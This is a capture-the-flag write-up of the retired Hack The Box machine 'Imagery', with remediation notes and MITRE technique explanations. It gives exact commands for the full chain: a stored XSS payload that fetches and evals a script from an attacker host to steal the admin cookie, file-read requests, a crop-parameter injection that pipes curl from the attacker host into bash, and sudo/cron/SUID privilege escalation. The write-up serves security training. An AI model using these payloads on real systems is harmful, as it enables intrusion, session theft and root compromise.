Imagery
Summary
I registered a normal Image Gallery account, planted stored XSS in the unsanitized admin bug-report details field, and stole the admin@imagery.htb session cookie when the review bot rendered the report. That cookie unlocked /admin/get_system_log as an arbitrary file read, leaking db.json (MD5 password hashes) and api_edit.py (ImageMagick convert with shell=True for the testuser account). Rockyou cracked testuser to [REDACTED: recovered credential].
Crop-parameter injection as testuser executed as OS user web, planted an SSH key, and yielded user.txt [REDACTED: sensitive value]. A second MD5 from the app/backup DB cracked mark to [REDACTED: recovered credential]. Mark has NOPASSWD sudo /usr/local/bin/charcol; after charcol reset, auto add installed a root cron that copied root.txt and set the SUID bit on /bin/bash.
Bash -p read root.txt [REDACTED: sensitive value]. HTB accepted both flags.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"
export PASSWORD3="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 2
nmap -sC -sV -p22,8000 $TARGETcurl -ksS -i http://$TARGET:8000/auth_statusExact commands 2
curl -ksS -i -H 'Content-Type: application/json' -X POST --data-binary '{"username":"$USERNAME@imagery.com","password":"$PASSWORD"}' http://$TARGET:8000/registercurl -ksS -i -c /tmp/img.cj -H 'Content-Type: application/json' -X POST --data-binary '{"username":"$USERNAME@imagery.com","password":"$PASSWORD"}' http://$TARGET:8000/loginFixSanitize every bug-report field and HttpOnly the session cookieCritical
Exact commands 3
python3 -m http.server 8081 --bind $ATTACKER_IP --directory .curl -ksS -b /tmp/img.cj -H 'Content-Type: application/json' -X POST --data-binary '{"bugName":"loader","bugDetails":"<img src=x onerror=\"fetch('http://$ATTACKER_IP:8081/p.js').then(r=>r.text()).then(eval)\">"}' http://$TARGET:8000/report_bugcurl -ksS -b /tmp/admin.cj http://$TARGET:8000/auth_statusExact commands 3
curl -ksS -b /tmp/admin.cj -o db.json "http://$TARGET:8000/admin/get_system_log?log_identifier=/proc/self/cwd/db.json"curl -ksS -b /tmp/admin.cj -o api_edit.py "http://$TARGET:8000/admin/get_system_log?log_identifier=/proc/self/cwd/api_edit.py"curl -ksS -i -c /tmp/tu.cj -H 'Content-Type: application/json' -X POST --data-binary '{"username":"testuser@imagery.htb","password":"$PASSWORD2"}' http://$TARGET:8000/loginFixConstrain get_system_log to a log directoryCritical
Exact commands 3
ssh-keygen -t ed25519 -f web_id -N ''curl -ksS -b /tmp/tu.cj -H 'Content-Type: application/json' -X POST --data-binary '{"imageId":"<png-id>","transformType":"crop","params":{"x":"0","y":"0","width":"1;curl -sS http://$ATTACKER_IP:8081/s2.sh|bash #","height":"1"}}' http://$TARGET:8000/apply_visual_transformssh -i web_id -o BatchMode=yes -o StrictHostKeyChecking=no web@$TARGET 'id; cat /home/web/user.txt'FixStop passing crop geometry through a shellCritical
Exact commands 4
python3 -c "import pexpect,sys; c=pexpect.spawn('su - mark -c \"sudo -n -l; id\"',timeout=8); c.expect('Password:'); c.sendline('$PASSWORD3'); c.expect(pexpect.EOF); sys.stdout.buffer.write(c.before)"sudo /usr/local/bin/charcol resetsudo /usr/local/bin/charcol shellsleep 45; ls -la /bin/bash /tmp/root.txt; /bin/bash -p -c 'id; cat /root/root.txt'FixRemove unrestricted Charcol automation under sudoCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Cron Job AbuseLinux · Privilege EscalationT1053.003
What it is
Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, an unauthorised user overwrites it with a payload that runs at the next interval as root.
Why it works
Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.
Read more
Local File InclusionWebT1190
What it is
A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.
Why it works
The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 8000/tcp | http Werkzeug httpd 3.1.3 (Python 3.12.7) |